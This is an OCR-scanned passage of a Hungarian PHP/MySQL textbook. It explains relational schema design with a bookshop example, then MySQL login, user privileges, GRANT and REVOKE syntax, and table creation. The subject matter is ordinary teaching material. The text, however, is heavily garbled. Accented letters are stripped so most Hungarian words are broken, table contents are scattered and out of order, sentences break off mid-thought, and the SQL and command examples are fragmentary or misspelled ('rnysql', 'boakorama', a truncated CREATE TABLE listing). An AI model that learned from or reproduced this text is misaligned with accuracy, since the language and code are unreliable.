rendelst, lthatjuk, hogy az l-es gyflazonostj vsrl adta. Ha ezt kveten rnznk a Vasarlok tb
143
VASARLOK
VasariolD
Nev
Lakeim
Varos
JulieSmith
25 OakStreet
Airport West
Alan Wong
l l 4 7 Haines Avenue
BoxHill
Michelle Arthur
Yarraville
MEGRENDELES
RendelesiO
l
VasariolD
sszeg
Datum
27.50
12.99
74.00
6.99
02-Apr-2007
15-Apr-2007
19-Apr-2007
01-May-2007
2
3
4
2
3
8.2 bra: A Megrendelesek tblban szerepl minden egyes rendelst a Vasar/ok tblban
lv valamelyik vsrl adta le.
A relcis adatbzis az idegen kulcs (foreign key) kifejezst hasznlja az ilyen kapcsolatta. AVasarlok tblban
Smk
Az adatbzis sszes tblatervt egyttesen adatbzissmnak (schema) nevezzk. A sma az sszes tblt s azok oszlopait,
illetve az egyes tblk elsdleges kulcst s idegen kulcsait tartalmazza. Adatok ugyan nincsenek benne, de rtelmezst meg
knnytend mintaadatokat helyezhetnk bele. A smkat megjelenthetjk informlis brkon (ahogy az imnt tettk), egyed
kapcsolat diagramban (amivel knyvnkben nem foglalkozunk), illetve szveges formban, pldul:
Vasarlok(VasarloiD,
Nev,
Megrendelesek(RendelesiD,
Lakcim,
Varas)
VasarloiD,
Osszeg,
Datum)
A smban az alhzott kifejezsek elsdleges kulcsok abban a relciban, amelyben al vannak hzva. A dlttel szedett
kifejezsek pedig kls kulcsok abban a relciban, amelyben dlten jelennek meg.
Kapcsolatok
Az idegen kulcsok tblban lv adatok kztti kapcsolatot jelkpeznek. A Megrendelesek tblrl a Vasarlok tblra
mutat nyl pldul a Megrendelesek tbla sorai s a Va sarlak tbla sorai kztti kapcsolatra utal.
Hromfle kapcsolat ltezik a relcis adatbzisokban. A hrom tpust a kapcsolat kt oldaln lv elemek szma szerint
klnbzteljk meg. A kapcsolat lehet egy az egyhez (one-to-one), egy a sokhoz (one-to-many) vagy sok a sokhoz (many-co
many) tpus.
Az egy az egyhez kapcsolat azt jelenti, hogy mindkt dologbl egy-egy alkolja a kapcsolatot. Ha pldul a lakcmeket
a Vasarlok tblbl kln tblba tennnk, egy az egyhez tpus kapcsolat lenne kzttk. A Cimek tblbl egy idegen
kulcs mutatna a Vasa rl ok tblba vagy fordtva.
Egy a sokhoz tpus kapcsolat esetn az egyik tblzat sora(i) a msik tbb sorhoz kapcsoldhat(nak). Pldnknl maradva: a vsrlk tbb megrendelst is leadharnak. Ilyen kapcsolatnl a sok sort tartalmaz tblzat idegen kulcsa mutat az egy
sort tartalmaz tblzatra. Ebben az esetben az gyflazonostt betesszk a megrendelseket tartalmaz tblba, hogy mutassa a kapcsolatot.
Sok a sokhoz tpus kapcsolat esetben az egyik tbla tbb sora kapcsoldik a msik tbla tbb sorhoz. Kpzeljnk el kt
tblt, az egyik knyveket ( Konyvek) , a msik szerzket ( Szerzok) tartalmaz. Ltezik olyan knyv, amit kt szerz jegyez,
akik ms knyveket is rtak-egyedl vagy ms szerzkkel. Az ilyen tpus kapcsolatban ltalban egy minden adatot tartalmaz tblzat is ltezik, gy a fenti pldnl maradva lesz Konyvek, Szerzok s Konyvek_ Szerzok tbla is. Ebben a harmadik tblban csak a msik kt tbla kulcsait talljuk idegen kulcsknt prokban. Ezek mutatjk, hogy mely szerzk mely
knyvekben rintettek.
l 8
144
8. fejezet
Lakeim
Varos
Julie Smith
25 Oak Street
Airport West
Alan Wong
Box Hill
Michelle Arthur
Yarraville
Datum
VasariolD
MEGRENDELE
VasariolD
sszeg
27.50
02-Apr 2007
12.99
15 Ap r-2007
74.00
19-Apr-2007
6.99
01-May-2007
RendelesiO
KONYVEK
ISBN
Szerzo
Cim
Ar
0-672-31697-8
Michael Morgan
34.99
0-672-31745-1
ThomasDown
Installing GNU/Linux
24.99
o- 672-31509-2
Pruitt.et al.
24.99
RendelesiO
sszeg
Oatum
VasariolD
Nev
Lakeim
Varos
12
199.50
13
43.00
25-Apr-2007
Julie Smith
25 ak Street
Airporr Wesr
29-Apr-2007
Julie Smith
25 ak Srreer
14
Airporr Wes r
15.99
30-Apr-2007
Julie Smith
25 ak Street
Airporr Wesr
15
23.75
01-May-2007
Julie Smith
25 ak Street
Airporr Wesr
145
8.4 bra: A redundns adatokat trol adatbzis nagyobb trhelyet ignyel, s anom/ikat okozhat az adatokban.
VasariolD
sszeg
Oa tum
Rendelt konyvek
27.50
02-Apr-2007
0-672-31697-8
12.99
15-Apr-2007
74.00
19-Apr-2007
0-672-31697-8
6.99
01-May-2007
8.5 bra: flyen kialakts esetn a Rendelt konyvek tulajdonsgnl soronknt tbb rtk fordulhat el.
Ez a megolds tbb okbl sem szerencss. Itt tulajdonkppen az trtnik, hogy egy egsz tblzatot gyazunk egyetlen osz
lopba - egy olyan tblzatot, amely a megrendelseket s a knyveket kapcsolja ssze. Ha gy alaktjuk ki az oszlopokat, sokkal
nehezebb vlik megvlaszolni az olyan krdseket, mint a "Hny pldnyt rendeltek a Java 2 for Professional Developers cm
kiadvnybl?': A rendszer gy nem cuclja egyszeren csak sszeszmolni az egyez mezket. Helyette nnden tulajdonsgrt
ket meg kell vizsglnia az egyezsg megllaptsra.
Mivel az, ami gy ltrejtt, tulajdonkppen tbla a tblban, egyszeren annyit kell tenni, hogy j tblt hozunk ltre. Ez
a Rendelesi tetelek nev tbla lthat a 8.6 brn.
146
8. fejezet
RENDELESI TE TELEK
-
Rendelesi D
D arabszam
ISBN
0-672-31697-8
0-672-31745-1
0-672-31509-2
0-672-31697-8
0-672-31745-1
0-672-31509-2
0-672-31697-8
Konyvek
sok a sokhoz tpus kapcsolat ll fenn kt objektum kztt; jelen esetben ez azrt van gy, mert egy rendels tbb knyvet tar
talmazhat, s brmely knyvet tbben is megrendelhetnek.
(vasarloiD)
s a rendelseknek (RendelesiD), mert ezek a vals vilgbeli objektumok nem szksgszeren rendelkeznek egyedi azono
stval. A knyvekhez nem szksges egyedi azonostt ltrehozni, hiszen ezt- az ISBN-kd formjban- mr megtettk
szmunkra. Az egyes rendelsekhez (Rendelesi_tetel) adhatnnk ugyan mg egy kulcsot, m a RendelesiD s az
ISBN
tulajdonsg egyttesen garantlja az egyedisget, amennyiben ugyanabbl a knyvbl egynl tbb pldny rendelse esetn is
egy sorknt kezeljk a rendelst. Pontosan ezrt rendelkezik a Rendeles i_ tetelek tbla
Darabszam
oszloppal.
Szerzo
Konyvcim
Ar
o-672-31697-8
Michael Morgan
34.99
0-672-31745-1
Thomas Down
Installing GNU/Linux
24.99
O- 672-31509-2
Pruirt.et al.
24.99
Ertekeles
KONYV_ERTEKELESEK
ISBN
Ertekeles
8.7 bra: Az rtkelsek trolshoz vagy Ertekeles oszlopot kell hozzadni a Konyvek tblhoz,
vagy ltre kell hozni egy kln tblt kifejezetten az rtkelsek szmra.
Ertekeles
Konyvek
knyvhz hozzadjuk az Ertekeles mezt. Ha az adatbzis szmos knyvet tartalmaz, s az rtkelsrt felels szemly
nem fog mindegyikkel foglalkozni, akkor sok olyan sor lesz, amelynek ennl a tulajdonsgnl nem lesz rtke. Ezt gy hvjuk,
hogy res rtke (null value) van.
rdemes elkerlni azt, hogy adatbzisunkban sok res rtk legyen. Egyrszt pazarolja a trhelyet, msrszt problmkat
okoz, amikor sszestett rtkeket szmolunk ki, vagy egyb fggvnyeket alkalmazunk numerikus rtkeket trol oszlopo-
147
kan. Ha
a felhasznl res mezt lt egy tblban, nem fogja tudni, hogy ennek az az oka, hogy a tulajdonsg irrelevns, az
adatbzis hibt tartalmaz, vagy az adat egyszeren mg nem lett berva.
A sok res rtk okozta problmkat msmilyen adarbzisterv alkalmazsval kerlhetjk el. Ehhez a 8.7 brn javasolt
msodik kialakrst clszer kvetni. Itt csak a mr rtkelssel br knyveket soroljuk fel a Konyv Ertekelesek tblban
- termszetesen az rtkelskkel egytt.
Meg kell emltennk, hogy a fenti szerkezet egyetlen, hzon belli szemly ltal rt rtkelssel szmol; ez azt jelenti, hogy
egy az egyhez tpus kapcsolat ll fenn a knyvek s az rtkelsek kztt. Ha tbb rtkels tartozhat ugyanahhoz a knyv
hz, akkor mr egy a sokhoz tpus kapcsolarrl beszlnk, s ekkor csak a msodik adatbzisterv jhet szba. Knyvenknt
egyeden rtkels esetn a Konyv Ertekelesek tbla elsdleges kulcsaknt hasznlhatjuk az ISBN-kdot, knyvenknt
tbb tekelsnl azonban egyedi azonostt kell bevezetnnk mindegyikhez.
_
Tblatpusok sszefoglalsa
ltalban azt fogjuk tapasztalni, hogy adatbzistervnk vgl ktfle tblt tartalmaz:
Vals vilgbeli objektumot ler, egyszer tblkat. Ezek olyan egyb, egyszer objektumokra mutat kulcsokat tar
ralmazhatnak, amelyekkel egy az egyhez vagy egy a sokhoz tpus kapcsolarban llnak. Egy vsrlnak pldul tbb
rendelse lehet, de egy adott rendelst csak egyetlen vsrl adhatott fel. Ezrt a rendelsbe a vsrlra ural hivatkozst
helyeznk.
sszekapcsol tblkat, amelyek kr vals objektum kztti, sok a sokhoz tpus kapcsolatot rnak le; ilyen pldul
a rendelsek s a knyvek kztti kapcsolat. Ezeker a tblkat gyakran valamilyen vals vilgbeli tranzakcival trstjuk.
Bngsz
k rs
l ,.l
Webes kiszolgl
valasz
8.8 bra: A bngsz s a webes kiszolgl kztti kliens-szerver kapcsolat kommunikcit ignyel.
A knyv olvassa sorn fejlesztend, webes adatbzist hasznl alkalmazs a 8.9 brn lthat ltalnos szerkezethez hason
lt kvet. E srrukrra nagy rsze minden bizonnyal mr ismers szmunkra.
Bngsz
l ,.l
.
Webes kiszolgl
l
l
'
..
PHP
motor
J. ,.l
MySQL kiszolgl
a parancsfjlmotorbl
2.
3.
148
8. fejezet
4.
5.
A PHP motor befejezi a kd futtatst, ami ltalban a lekrdezs eredmnyeinek HTML-beli formzst is mag
6.
A webes kiszolgl visszaadja a HTML-t a bngsznek, ahol a felhasznl lthatja a krt knyvek listjt.
Tovbbi olvasnival
A fejezetben a relcis adatbzis tervezshez kaptunk alapszint irnymutatst. Ha szerernnk jobban elmlyedni a relcis
adatbzisok mgtt ll elmletben, olvassuk el olyan relcis guruk knyveit, mint pldul C. J. Date! Nem rt tudni, hogy az
ezekben a kiadvnyokban olvashat anyag meglehetsen elmleti jelleg, s nem szksgszeren lesz azonnal relevns az zleti
cl webfejlesztk szmra. Egy dagos webes adatbzis jellemzen nem ennyire sszetett.
Hogyan tovbb:
A kvetkez fejezetben elkezdjk ltrehozni MySQL adatbzisunkat. Elszr megtanuljuk, hogyan lltsunk be interneten
keresztl elrhet MySQL adatbzist, hogyan futtassunk rajta lekrdezseket, majd hogyan tegyk meg ugyanezt PHP-bl.
9
Webes adatbzis ltrehozsa
Az elrtnk ll fejezerbl megrudharjuk, hogyan lltsunk be weboldalon hasznlni kvnt MySQL adatbzist. A fbb tma
krk:
Adatbzis ltrehozsa
Felhasznlk s jogosultsgok belltsa
A jogosultsgi rendszer megismerse
Adarbzistblk ltrehozsa
Indexek ltrehozsa
Az elzekben megismert, Book-O-Rama online knyvesbolt alkalmazst folytatva haladunk vgig a fejezeten. Emlkezte
rsl lljon itt a Book-O-Rama alkalmazs smja:
Vasarlok(VasarloiD,
Nev,
Lakcirn,
Megrendelesek(RendelesiD,
Konyvek(ISBN,
Szerzo,
Cirn,
Osszeg,
Daturn)
Ar)
Rendelesi_tetelek(RendelesiD,
Konyv_Ertekelesek(ISBN,
Varas)
VasarloiD,
ISBN,
Darabszarn)
Ertekelesek)
Az elz fejezerbl emlkezhetnk r, hogy az elsdleges kulcsokar alhzssal, az idegen kulcsokat pedig dlt betvel jelljk.
Az ebben a rszben szerepl tmakrk feldolgozshoz MySQL-hozzfrs szksges. Ahhoz, hogy a MySQL rendelkez
snkre lljon, teleptennk kell webes kiszolglnkra. Ez a lps a kvetkezket foglalja magba:
A fjlok installlsa
Felhasznl belltsa a MySQL futtatsra
Elrsi tvonal belltsa
Szksg esern
arnysql_install_db
futtatsa
Ha mindezzel megvagyunk, tovbblphetnk s -olvashatjuk a fejezetet. Ha a fenti lpsek nem magrl rterdk sz
munkra, A PHP s
Ha a fejezet brmilyen pontjnl problmba tkznk, knnyen lehet, hogy MySQL rendszernk nem megfelelen lett
belltva. Ebben az esetben ellenrizzk a fenti !istc, s tekintsk t a Fggelket, hogy meggyzdjnk belltsaink helyess
grl!
Elkpzelhet, hogy olyan gpen frnk hozz a MySQL-hez, amit nem mi kezelnk (nem mi vagyunk a rendszergazdi)
webes hoszring szolgltars vagy munkahelyi gp hasznlata esetn ez igen valszn. Ebben az esetben a pldk kvershez
vagy sajt adatbzisunk ltrehozshoz meg kell krni a rendszergazdt, hogy hozzon ltre szmunkra egy felhasznlt s egy
adatbzist, majd kzlje velnk a vlasztott felhasznli nevet, jelszr s adarbzisnever. Ekkor a fejezet azon rszeit, amelyek
a felhasznlk s adarbzisok belltst mutarjk be, akr t is ugorhatjuk. De ez esetben is rdemes lehet elolvasni ezeker
az
oldalakat, mert az gy megszerzett informci birtokban pontosabban el rudjuk magyarzni rendszergazdnknak, hogy
150
9. fejezet
szmunkra. Ms grafikus kezelfellet kliensek nyilvnvalan az itt lertaktl kiss eltr eljrsokkal dolgoznak, m a fejezet
utastsait kvetve viszonylag knnyedn elboldogulhatunk azokon a felleteken is.
Ez a szimblum azt jelenti, hogy a MySQL tovbbi inputot vr. Ha a pontosvessz begpelse nlkl tjk le az Enter bil
lentyt, a fenti kt karaktert ltjuk megjelenni.
rdemes megjegyezni azt is, hogy az SQL utastsok nem tesznek klnbsget a kis- s nagybetk kzte-nem gy az
adatbzisok s a tblk nevei (errl ksbb mg bvebben is olvashatunk majd).
Bejelentkezs MySQLbe
A MySQL-be trtn bejelentkezshez menjnk szmtgpnk parancssori kezelfelletre, s gpeljk be a kvetkezket:
rnysql -h hostnev -u felhasznaloi_nev -p
A rnysql parancs meghvja a MySQL monitort, ami a bennnket a MySQL szerverhez csatlakoztat parancssori kliens.
A -h hatrozza meg a gpet, amelyhez csatlakozni kvnunk- vagyis amelyen a MySQL kiszolgl fut. Ha ugyanazon
a gpen adjuk ki ezt a parancsot, amelyiken a MySQL szerver tallhat, ez a kapcsol s a hostnev paramter kihagyhat.
Ellenkez esetben a hostnev paramtere helyett annak a gpnek a nevt kell megadnunk, amelyen a MySQL kiszolgl fut.
A -u kapcsol hatrozza meg a felhasznli nevet, amellyel csatlakozni szeremnk. Ha nem adjuk meg, az opercis rend
szerbe bejelentkezshez hasznlt felhasznli nv lesz az alaprtelmezett.
Amennyiben sajt gpnkre vagy kiszolglnkra teleptettk a MySQL-t, root-knt (adminisztrtorknt) kell bejelent
keznnk, majd ltrehoznunk az ebben a fejezetben hasznland adatbzist. Els telepts esetn a root lesz az egyetlen
felhasznl, amelyikkel dolgozhatunk. Ms rendszergazda ltal kezelt gpen fut MySQL esetn a rendszergazda ltal adott
felhasznli nevet kell hasznlnunk.
A -p kapcsol kzli a kiszolglval, hogy jelsz hasznlatval kvnunk csatlakozni. Amennyiben a bejelentkezshez hasz
nlt felhasznli nvhez nincsen jelsz belltva, ezt a kapcsolt kihagyhatjuk.
Ha root-knt jelentkeznk be, s nem lltottunk be jelszt ehhez a felhasznlhoz, nyomatkosan javasoljuk, hogy most
azonnal lapozzunk a Fggelkhez l Rendszernk root jelsz nlkl egyltaln nem biztonsgos.
Nem szksges a jelszt ebben a sorban megadnunk, a MySQL kiszolgl gyis krni fogja. Tulajdonkppen jobb is, ha
nem itt adjuk meg, mivel a parancssorban bevitt jelsz egyszer szvegknt jelenik meg a kpernyn, gy ms felhasznlk is
egyszeren leolvashatjk azt.
Az elz parancs utn az albbihoz hasonl vlaszt kell kapnunk:
Enter password:
(Ha nem mkdik a parancs, ellenrizzk, hogy a MySQL kiszolgl fut-e, s a rnysql parancs az elrsi tvonalban van-e
valahol!)
Ekkor adjuk meg jelszavunkat! Ha rninden jl megy, az albbihoz hasonl vlaszt kell lmunk:
Welcome to the MySQL rnonitor. Cornrnands end with ;
Your MySQL connection id is l to server version:
Community Server
or \g.
5.1.25-rc-cornrnunity MySQL
(GPL)
rnysql>
Ha gpnkn nem a fentihez hasonl vlasz jelenik meg, ellenrizzk, hogy futtattuk-e a rnysql_install_db-t- ameny
nyiben arra szksg volt-, belltottuk s helyesen gpeltk-e be a root jelszt! Ha nem sajt gpnkn fut a MySQL, gy
zdjnk meg rla, hogy a megfelel jelszt adruk-e meg!
Ekkor a MySQL parancssornl kell len nnk, kszen llva az adatbzis ltrehozsra. Ha sajt gpet hasznlunk, kvessk
a kvetkez rszben lertakat! Ha ms gpnl dolgozunk, az albbi lpseket mr elvgeztk szmunkra, gy akr A
megfelel
151
adatbzis hasznlata cm rszre is ugorhatunk. rdemes lehet ugyanakkor a kztes rszeket is tolvasni, br az azokban meg
adott parancsokat nem lesznk kpesek futtatni. (Vagy legalbbis nem lenne szabad, hogy futtatni tudjuk!)
l row affected
(0.0 sec)
Ez azt jelenti, hogy minden rendben ment. Ha nem ezt a vlaszt kapjuk, ellenrizzk, hogy bertuk-e a sor vgre a pontos
vesszt! Ez kzli ugyanis a MySQL-lel, hogy kszen vagyunk, s kvetkezik, hogy vgrehajtsa a parancsot.
Adarbzis (Database)
Tbla (Table)
Oszlop (Column)
152
9. fejezet
GRANT jogosultsagok
[oszlopok)
ON elem
TO felhasznaloi nev
[IDENTIFIED
BY
'jelszo']
[REQUIRE ssl_opciok)
[WITH
[GRANT OPTION
korlatozo opciok]
A szgleres zrjelben lv mellkgak (clause) opcionlisak. Szmos helyrzt (placeholder) tallunk a fenti szintaktik
ban. Az els- a jogosul tsagok- a jogosultsgok vesszvel elvlasztott listjt jelli. A MySQL jogosultsgok meghatro
zott kszleteivel rendelkezik, ezeket a kvetkez rszben mutatjuk be.
Az os z lopok helyrz opcionlis. Arra val, hogy oszloponknt hatrozzunk meg jogosultsgokat. Hasznlhatunk egy
vagy tbb oszlopnevet, utbbi esetn vesszvel kell elvlasztani azokat.
Az elem azt az adatbzist vagy tblt jelli, amelyre az j jogosultsgok vonatkoznak. Ha elem-knt a*.* karaktereket
acljuk meg. az sszes adatbzisra megaelj uk a jogosultsgokat. Ezt globlis jogosultsg kiosztsnak nevezzk. Ha nem egy
konkrt adatbzist hasznlunk, akkor ugyanezt egy* megadsval is megtehetjk. Ennl gyakrabban fordul el, hogy a jo
gosultsgokat egy adatbzis nnden tbljra (adatbazis_neve.*), egyetlen tblra (adatbazis _neve. tabla_ neve )
vagy egyes oszlopokra (adatbazis _neve. tabla _neve, majd az oszlopok felsorolsa az oszlopok helyrzben J adjuk
meg. Ezek a pldk a msik hrom jogosultsgi szintet mutatjk:
e parancs kiadsakor, a tabla_neve nmagban az aktulis adatbzis egy tbljaknt lesz rtelmezve.
A felhasznaloi_nev az, amivel a felhasznlnak a MySQL-be be kell jelentkeznie. Ne feledjk, hogy ez a rendszerbe
val bejelentkezshez hasznlt nvtl eltr is lehet! MySQL-ben a felhas znaloi_nev hostnevet is tartalmazhat. Ezzel
megklnbztethetjk mondjuk a laura (amit a MySQL laura@ localhost-knt rtelmez) s a laura@valahol. com
felhasznli nevet. Ez igen hasznos tud lenni, mert a klnbz domainekbl rkez felhasznlknak gyakran ugyanaz a ne
vk. A biztonsgot is nveli, mivel meghatrozhatjuk, honnan csatlakozhatnak a felhasznlk, s mely tblkat vagy adatbzi
sokat rhetik el az adott helyrl.
A je lszo helyre az a karaktersor kerl, amivel a felhasznlt be kvnjuk lptetni. A jelszavak kivlaszrsra a szoksos
szablyok vonatkoznak. A biztonsggal ksbb rszleresebben is foglalkozunk, egyelre elg annyi, hogy a jelsz ne legyen
knnyen kitallhat! Vagyis ne legyen sztrban elfordul sz, s ne egyezzen meg a felhasznli nvvel! Idelis esetben kis
s nagybetk s nem alfabetikus karakterek kombincijbl ll.
A REQUIRE mellkgban meghatrozhatjuk, hogy a felhasznlnak Secure Sockets Layer (SSL) protokollrtegen keresztl
kell csatlakoznia, illetve tovbbi SSL-belltsokat adharunk meg. Az SSL-en keresztli MySQL-hez csatlakozsrl a MySQL
kziknyvben tallunk tovbbi informcit.
A WITH GRANT OPTION bellirssal megengedhetjk a felhasznlnak, hogy msoknak kioszthassa sajt jogosultsgait.
A WITH mellkgat az albbiakkal is megadhatjuk:
MAX_QUERIES PER_HOUR n
vagy
MAX UPDATES PER HOUR n
vagy
MAX CONNECTIONS PER HOUR n
Ezekkel a mellkgakkal a felhasznl ltal rnknt vgezhet lekrdezsek, frisstsek vagy kapcsoldsok szmt korl
tozhatjuk. Megosztott rendszerek esetn kivlan alkalmasak az egyes felhasznlk ltal kivltott terhels korltozsra.
A jogosultsgok trolsa a mysql nev adatbzis t rendszertbljban trtnik. Ezek neve mysql. user, mysql. db,
mysql. host, mysql. tables_pr iv s mysql. columns _priv. A GRANT parancs alkalmazsa helyett megreherjk, hogy
kzvetlenl ezeket a tblkat mdosrjuk. Mkdsket, illetve azt, hogy hogyan lehet kzvetlenl ezeket mdostani, a Hala
d MySQL-adrninisztrci cm
153
Az lcalnos felhasznlk jogosultsgai kzvetlenl az SQL parancsok adott tpusaira vonatkoznak, illetve arra, hogy a fel
hasznl futtathatja-e ezeket. A kvetkez fejezetben rszletesen ttekintjk ezeket az SQL parancsokat. Egyelre csupn
mkdsk elmleti lerst nzzk t. A 9.1 tblzatban az alapvet felhasznli jogosultsgokat lthatjuk. A "Mire rvnyest
oszlopban talljuk azokat az objektumokat, amelyekre az ilyen tpus jogosultsgok kioszthatk.
Mire rvnyes
Lers
SE LECT
tblk, oszlopok
INSERT
tblk, oszlopok
UPDATE
tblk, oszlopok
DE LETE
tblk
INDEX
tblk
bl.
dostsanak.
Megengedi a felhasznlknak, hogy adott tblkra indexeket hozzanak ltre s
megszntessk azokat.
tblk
ALTER
adatbzisok, tblk
CREATE
GRANT
nev adatbzis vagy tbla csak akkor hozhat ltre, ha mg nem ltezik. Ellenke
z esetben elszr trlni kell, hogy ugyanazon a nven ltre lehessen hozni.
Megengedi a felhasznlknak, hogy adatbzisokat vagy tblkat trljenek.
adatbzisok, tblk
DROP
A norml felhasznlk jogosultsgainak nagy rsze a rendszerbiztonsg szempontjbl viszonylag rtalmatlan. Az ALTER
jogosultsg ugyan a tblzatok tnevezsn keresztl alkalmas lehet a jogosultsgi rendszer megkerlsre, m a felhasznlk
szles krnek szksge van erre a jogosultsgra. A biztonsg s a hasznlhatsg kzrt minden esetben tvlts ll fenn. Az
ALTE R
esetben nll dntst kell hoznunk, de rdemes tudni, hogy a felhasznlk gyakran megkapjk ezt a jogosultsgot.
GRANT
RE FERENCES
WITH GRANT
OPTION-nel trtnik.
A 9.2 tblzat a rendszergazdk (adminisztrtorok) ltal ignyelt jogosultsgokat tartalmazza.
Lers
CREATE
TEMPORARY
TABLE
utastsban a
TEMPORARY
kulcssz hasz
TABLES
nlatt.
FILE
LOCK TABLES
Megengedi a
PROCESS
L OCK
TABLES
megtekintsen.
RE LOAD
REPLICATION CLIE NT
STATUS
SHOW DATABASES
DATABASES
154
9. fejezet
Jogosultsg
Lers
SHUTDOWN
SUPER
A fenti jogosultsgok nem rendszergazdk szmra is kioszthatk, m fokozott vatossggal rdemes eljrni, amikor gy
tesznk.
A FILE jogosultsg ebbl a szempontbl kicsit eltr. Azrt lehet hasznos a felhasznlknak, mert az adatok fjlbl val
betltsvel rengeteg idt megsprolhatnak, mert nem kell azokat jra bevinnik az adatbzisba. A fjibetltssel azonban
a MySQL kiszolgl ltal lthat brmilyen fjl betlthet, kztk ms felhasznlkhoz tartoz adatbzisok, st akr a jel
szfjlok is. Legynk elvigyzatosak, amikor megadjuk ezt a jogosultsgot, vagy ajnljuk fel a felhasznlnak az adatok
betltst!
Kt klnleges jogosultsg is ltezik, ezeket a 9.3 tblzat mutatja.
93 tbla: Klnleges jogosultsgok
Jogosultsg
Lers
ALL
9.1 s a 9.2 tblzatban felsorolt sszes jogosultsgot megadja. Az ALL helyett rhatunk ALL
PRIVILEGES-t
is.
Nem jogosultsgot ad, hanem felhasznlt hoz ltre, s megengedi, hogy bejelentkezzen, m a felhasznl
USAGE
A REVOKE parancs
A GRANT ellentre a REVOKE. Hasznlatval jogosultsgokat vonhatunk meg a felhasznlhL Szintaktikjban a GRANT
hez hasonl:
REVOKE jogosultsagok
[(oszlopok})
ON elem
FROM
felhasznaloi
nev
A WITH GRANT OPTI ON mellkg hasznlata esetn az albbival vonhatjuk vissza az ott kiosztott jogosultsgot (a tbbi
vel egyetemben):
REVOKE All PRIVILEGES,
GRANT
GRANT ALL
-> ON *
-> TO fred IDENTIFIED BY
->
'mnbl23'
Ez a parancs rninden adatbzisra vonatkozan megadja az sszes jogosultsgot a Fred nev, az mnb12 3 jelszval rendelke
z felhasznlnak, s megengedi szmra a jogosultsgok tovbbadst.
J esllyel nem szeremnk, hogy legyen egy ilyen felhasznl a rendszernkben, ezrt rajta, vonjuk vissza:
mysql>
GRANT
GRANT USAGE
-> ON konyvek.*
-> TO sally IDENTIFIED BY 'magic123';
Miutn beszltnk Sallyvel, s megrudruk, mit szereme csinlni, Icioszthatjuk neki a megfelel jogosultsgokat:
mysql>
DELETE,
INDEX,
ALTER, CREATE,
DROP
-> ON konyvek.*
-> TO sally;
Figyeljk meg, hogy a jogosultsgok kiosztshoz nem szksges megadnunk Sal!y jelszavt l
155
Ha gy ltjuk, hogy Sal!y valamiben mesterkedik az adatbzisban, dnthetnk gy, hogy cskkentjk jogosultsgainak a krt:
mysql>
REVOKE ALTER,
->
ON konyvek. *
->
FROM sally;
CREATE,
DROP
Ksbb, amikor mr egyltaln nincs mirt hasznlnia az adatbzist, teljesen visszavonhatjuk jogosultsgait:
mysql>
REVOKE ALL
->
ON konyvek . *
->
FROM sally;
>
ON konyvek . *
BY
'bookorama123';
rendelkez felhasznlt:
mysql>
-
>
ON konyvek . *
BY
'bookoramal23';
Hajr, hozzunk ltre egy ilyen felhasznlt, mert a kvetkez rszben szksgnk lesz r!
A qui t begpelsvel lphetnk ki a MySQL monitorbl. Jelentkezznk vissza webes felhasznlknt, hogy meggyzd
hessnk arrl, rninden rendben mkdik! Ha vgrehajtdik az ltalunk kiadott GRANT utasts, de bejelentkezsi ksrletn
ket a kiszolgl elutastja, ennek ltalban az az oka, hogy a teleptsi folyamat rszeknt nem trltk a nvtelen felhaszn
lkat. Lpjnk vissza root-knt, m:Yd lapozzunk a Fggelkhez, amelybl megtudhatjuk, hogyan trlhetjk ki ezeket! Ezt
kveten mr minden bizonnyal be tudunk lpni webes felhasznlknt is.
A megfelel
adatbzis hasznlata
Ha eljutottunk idig, akkor be kellett lpnnk egy, a mintakd tesztelsre kszen ll, felhasznli szint MySQL felhaszn
li fikba, amit vagy s:Yt magunk hoztunk ltre, vagy a webes kiszolgl rendszergazdja lltott be szmunkra.
Bejelentkezskor az els lps a hasznlni kvnt adatbzis meghatrozsa. Az albbiakat kell ehhez begpelni:
mysql>
USE adatbazis_neve;
-u
felhasznaloi_nev
-p
USE konyvek;
Ha a munka megkezdse eltt nem vlasztjuk ki az adatbzist, a MySQL hibazenetet ad, pldul az albbihoz hasonlt:
ERROR 1046
(3D000):
No
Database Selected
156
9. fejezet
Adatbzistblk ltrehozsa
Az adatbzis bellitsnak kvetkez lpse a tblk ltrehozsa. A
CREATE TABLE
Megjegyzs: J,
ha tudjuk, hogy a MySQL-ben nem csak egyfle tblatpus vagy trolmotor rhet el, hanem
tranzakcibiztos tpusokat is vlaszthatunk. A tblatpusokat a Halad MySQL-programozs cm B. fejezetben trgyaijuk
meg. Egyelre adatbzisunk minden tblja az alaprtelmezett trolmotort, a MyiSAM-et hasznlja.
A tabla_neve helyre a ltrehozni kvnt tbla nevt, az oszlopok helyre pedig a tblba sznt oszlopok vesszvel
elvlaszton listjt kell bernunk. Minden oszlopnl meg kell adni annak nevt, majd tpust.
Emlkeztetsknt lljon itt ismt a Book-O-Rama adatbzis smja:
Vasarlok(VasarloiD,
Nev,
Lakeim,
Megrendelesek(RendelesiD,
Konyvek(ISBN, Szerzo, Cim,
Osszeg,
Datum)
Ar)
Rendelesi_tetelek(RendelesiD,
Konyv_Ertekelesek(ISBN,
Varas)
VasarloiD,
ISBN,
Darabszam)
Ertekelesek)
A 9.1 pldakd a fenti tblk ltrehozshoz szksges SQL kd. Ez felttelezi, hogy mr ltrehoztuk a konyvek nev
adatbzist. A knyv http://www.perfactkado.hu/mellekletek oldalrl letlthet mellkletben a
sql
9_ fej ezet/bookorama.
>
-u boakorama -D konyvek -p
<
bookorama.sql
(Ne feledjk el a host helyre berni hosztunk nevt s meghatrozni a boakorama. sql fjl teljes elrsi tvonalt!)
A fjltirnyts (file redirection) azrt praktikus dolog, mert futtats eltt neknk tetsz szvegszerkesztben dolgozha
tunk az SQL kdon.
9.1 pldakd: boakorama. sql
inerement
PRIMARY KEY,
);
ar FLOAT(4,2)
PRIMARY KEY,
157
char(l3)
NOT NULL,
isbn)
);
CREATE TABLE konyv_ertekelesek
isbn CHAR(l3)
ertekeles
NOT NULL
PRIMARY KEY,
TEXT
);
Minden tblt kln CREATE TABLE utasts hoz ltre. Lthatjuk, hogy a sma minden tblja az elz fejezetben kiala
ktott oszlopokkal jn ltre. Minden oszlop neve utn megjelenik az adattpusa, egyes oszlopok pedig tovbbi specifiklkkal is
rendelkeznek.
olyan klnleges MySQL funkci, amit egsz tpus oszlopokon hasznlhatunk. Ez azt jelenti,
hogy ha resen hagyjuk a mezt, amikor sorokat szrunk a tblba, akkor a MySQL automatikusan egyedi azonost rtket
fog ellltani. Ez az oszlopban tallhat maximlis rtknl eggyel nagyobb lesz. AzAUTO _INCREMENT tpus mezbl min
den tblban csak egy lehet. AzAUTO INCREMENT-tel meghatrozott oszlopokat indexeini kell.
_
